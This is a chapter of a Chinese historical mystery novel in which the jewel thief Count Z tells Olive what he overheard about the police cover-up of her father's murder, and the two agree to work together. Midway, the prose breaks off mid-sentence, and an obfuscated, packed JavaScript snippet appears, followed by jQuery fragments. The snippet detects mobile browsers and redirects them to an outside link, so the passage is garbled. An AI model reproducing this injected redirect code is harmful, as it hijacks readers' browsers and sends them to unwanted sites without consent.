奥丽芙回到了绿窗酒店。Z伯爵说得不对，这不是家。虽然伊迪丝和库珀先生都是朋友，她仍然感到孤单。今天奥丽芙尤其孤单，她想妈妈，想爸爸。


    她拖着疲惫的身躯走进房间，换衣时无意中向镜子一瞥：她的帽子上插着一支粉红色的花。今天她出门时可没有这东西，是从哪儿来的？奥丽芙忽然想起Z伯爵客厅的花钵里那几朵玫瑰，想起自己靠在椅子上，将帽子弄歪了，整理帽子的时候，Z伯爵似乎是盯着她的手指。


    小偷的手法。她的脸气红了，像花一样。


    玫瑰，英格兰之花。兰开斯特和约克家族的家徽分别选择了红玫瑰和白玫瑰，两家争夺王位的战争被称作玫瑰战争。但不是历史使玫瑰增色，而是花儿给文化增辉。奥丽芙喜欢玫瑰，这是她最喜欢的一种花。


    这朵玫瑰很新鲜，仿佛是刚刚从花园里摘下，花瓣密密合拢，最外面的一层微微卷曲。奥丽芙不忍把它扔掉，可是也不能把它插进花瓶，那里现在插着一束石竹，不大搭配，别人看见会感到奇怪。奥丽芙走到书架前，随手抽出一本书，把玫瑰夹进去。


    她在桌前坐下，脑袋里还是乱纷纷的，那只银盒子摆在面前。她伸手摸了摸那个浮雕字母，Z。可以相信他吗？把他当作朋友？他真的能帮忙找到杀害父亲的凶手？


    奥丽芙微微蹙起眉。她的确有理由怀疑Z伯爵的诚意，可是他怎么把她当作小孩子一般，难道以为她拿着一只盒子就好抛开疑虑了？他的护身符？


    里面到底是什么？


    奥丽芙好像被烫了一般，立即把盒子放下。


    一切都等到明天再说吧，好好休息之后，她应该能够更明智地做出判断。这时候床铺对她有莫大的吸引力，而且，睡梦能够使她免去等待的煎熬，她已经等不及到明天，等不及要再见Z伯爵。


    她没有把盒子打开。


    “明天，我在这里等你。”


    一睁开眼，奥丽芙又听见了Z伯爵的话，和她闭上眼睛时在脑中响起的声音一模一样。不同的是，现在，“明天”已经来了。


    奥丽芙感到自己精神充沛，四肢有力，头脑灵活，足以应付任何难事。她出了门，打算叫辆马车。Z伯爵给的地址她牢记在心。


    一辆马车在她面前停下，是吉姆。于是，奥丽芙心中残余的一点点担心顿时消失不见。


    Z伯爵在家门口等她。“我真担心你不来，小姐。”


    “我不会带着你的宝贝一夜之间跑出英国，我可舍不得离开。——还你。”奥丽芙讥讽地说，立即拿出盒子给Z伯爵。进屋后，还没坐下便问，“现在你可以告诉我了吧？”


    “你没打开。”Z伯爵意外之中，似乎还有点儿遗憾。


    “当然没有，我一向信守诺言。也请你遵守诺言，快点儿把你知道的关于我父亲的事告诉我。”


    奥丽芙连一秒钟的拖延也忍不了了，Z伯爵指给她扶手椅，她便一屁股坐下。


    “我小时候，大约是十岁或者十一岁时，见过一次费克特先生。”


    奥丽芙知道他没说谎。父亲不是毫无根由给她讲Zachariasen家族继承人、金发男孩的故事，他肯定是见到过Z伯爵本人。她等着Z伯爵讲下去。


    等茶送上来之后，Z伯爵才开口：“许多年之后，我又在从汉堡到南安普顿的客轮上看见了费克特先生，还有你。你们是乘‘巴塞罗那号’回英国吧？”


    奥丽芙点点头。那是艘挺大的船，有不少乘客，不过，她在船上没见过Z伯爵。当然了，他肯定是头等舱的客人，而她和父亲为了节省旅费，住在二等舱。


    “我认出了你父亲——我一直没忘了他，费克特先生对我讲过几句鼓励的话，而且，他的样貌也不容易让人忘记。不过，那次在船上，我……不太舒服，所以没去拜会你父亲。后来，大部分时间我都在舱里睡觉，直到下船。”Z伯爵解释道。


    看来是这样，只不过，未必是真的晕船，更可能是心里惭愧，因为那个时候他知道自己打算干什么——到达伦敦不久后，他就开始偷盗珠宝了。


    两个人沉默了一会儿，奥丽芙问：“后来你再见过我父亲吗？”


    “没有。”


    “你知道我父亲与别人会面吗，范德梅尔？”


    Z伯爵摇摇头：“那时我不知道。从船上下来，我再没见过费克特先生。费克特先生出事的消息在报上登出后，我碰到小默顿和德·雷斯托，他们两人都很惊讶，说前几天刚刚见过费克特先生。我记得，范德梅尔……因姆克从来没提过费克特先生。


    “当时我没别的想法，我认为如报道所称，你父亲死于流浪汉谋财害命。当然，我有点难过，因为费克特先生是很让人尊重的人。”Z伯爵很快地说了这句话，由此，奥丽芙察觉出，他的确难过，并且不愿意要她知道。


    Z伯爵接着说：“费克特先生被害那天晚上，我在珠宝商家里偷了一条钻石项链。那不是我第一次行窃，但确实是第一次偷这么值钱的东西，我知道一定会引起警方注意。我有意在伦敦长留，所以我得摸透伦敦警察，看看他们办案行不行。


    “过了一天后，我设法偷听到苏格兰场两位警长的谈话，如我所料，他们对窃案的想法完全错误，但是，谈到中间时，有人给其中一位警长送来个口信，要他去门口见个人，没说是谁，但警长立即就去了。我想说不定是他的一个重要线人，说不定就是送来关于窃案的线索，于是，我也跟着去看看。


    “他见的那人坐在马车里，警长也上了马车。当时天已经有点暗了，我偷偷摸过去，藏在车外偷听。谁知他们说起的是费克特先生的案子，我听了感觉很不对。


    “来人说：‘他还有个女儿。’警长说：‘我们拿到地址，给她拍了电报了。’来人又说：‘小丫头要是追问呢，你打算怎么办？’警长回答：‘我们不会为她的疑问重新调查。正好，人手被派去查盗窃案了，顾不上其它事，这是个绝佳的理由。’


    “来人便说：‘最好她不问。毕竟，谁也不愿意将事情搞大。不过，要是实在没办法，就只能……’


    “他没把‘只能’后面的话说出来，但是，他的语气非常奇怪，我立即想到，如果你坚持要警方细查你父亲的案子，他们一定会对你不利。


    “当时又有警察经过，我只好躲远了些，没听到更多。不过，我走开后，警长马上也从车上下来，马车便离开了。我的车不在附近，没法跟着马车。而车窗一直遮着，我也没看到那个人的脸。听声音，应该是个四十多岁的绅士。我记得他的声音，但从那一次后，我再没遇见过那个声音。所以……我什么也做不了。”Z伯爵抱歉道。


    停了片刻，他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318434|192595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又说：“我让吉姆在苏格兰场外面守着，等你过去，让他跟着到你的住处，想办法把那个字条给你。”


    “你没有权利如此！”奥丽芙生气地站起来，“你还指望我感谢你？你做了恶人的帮凶，帮助他们隐瞒真相！”


    “我并不指望你感谢我。”Z伯爵低下头，低声说，“我只是——我实在没有更好的办法。”


    奥丽芙重新坐下，过了一会儿，她问：“后来呢？你又看见我的时候，为什么不说？”


    Z伯爵走到壁炉前，拿起铁钳，心不在焉地拨着柴禾。


    “后来，我听说你和你姨妈一起乘火车回家了，我心想大概是没什么事了。没想到，过了一个月，又在绿窗酒店看到了你，并且成了布莱克小姐。——那时我还不太确定是你，我只在船上见过你一回，而且，还隔着挺远。我偷了你的项链，看见里面有费克特先生的照片，这才确认。”


    “我早该猜到。”奥丽芙冷冷地说。她已经生不出气了，对他生气也毫无用处。


    Z伯爵苦笑了一下：“那以后，我还是不敢告诉你。我怕你不信我，为什么要信——我说从警察那里偷听到几句话？我又是如何听见的？这些都没法对你解释。”


    从Z伯爵的角度看，辩解有几分道理，再说，既不妨碍他偷东西，他何必多管闲事？


    想到Z伯爵一直知道她是谁，她想做什么，但一个字不说，还故意骗她，想到他的种种言行，奥丽芙又气得涨红了脸。


    Z伯爵还是不看她。他说：“很抱歉，我的确曾想过，或许我能帮帮你，至少给你点提示，但我没做到。我没有能力始终跟踪警察，我没法知道他们到底听谁的吩咐，我甚至连范德梅尔都从没怀疑过。因为我总想着那是一个能够操纵苏格兰场警探的人物，而范德梅尔，或者周围其他人……”Z伯爵摇了摇头，“我太蠢了，我忘了大人物都是只动动嘴，让别人为他做事。”


    这时他转过身，直视奥丽芙：“对不起，小姐，我骗过你。但是——如果我的尊重对你来说还算点什么的话，希望你知道，你从来没有失去其中的分毫。”


    “你是我见过的最聪明的人，费克特小姐，说我要帮你，是我太自大了。但是，哪怕能对你有最小的用处，我也会尽我最大的力量。那么，小姐，你愿不愿意，我们一起找出害费克特先生的幕后主谋。”


    奥丽芙回视他。或许她不该相信一个小偷，但她愿意信Z伯爵一次。而且，她认为他确实能帮上忙。


    她点点头，为了免得他真的自大，很快地又问：“去马车里说话的那个警长是谁，你认得他吗？”


    “认得，是威克利警长。”Z伯爵立即回答。


    “威克利，威克利。”奥丽芙念了两遍。好像在哪里听过，似乎与哪个俱乐部有关，想了一会儿，她想起库珀先生的一位朋友威克利先生，但他不是警察。威克利这个姓氏不算很少见。


    “我们能不能趁威克利警长一个人时，想办法逼问他？”奥丽芙提议。


    “不太好办，我想咱们绑架不了苏格兰场的头头脑脑之一。”Z伯爵说。这时候，他没显得狂妄，只不过又恢复成奥丽芙所熟悉的样子——他的眼睛里闪着一点戏谑、但又温暖的笑意。


    “先别着急，咱们会想出办法的。眼下，还有另一件事我想和你商量一下，跟我来。”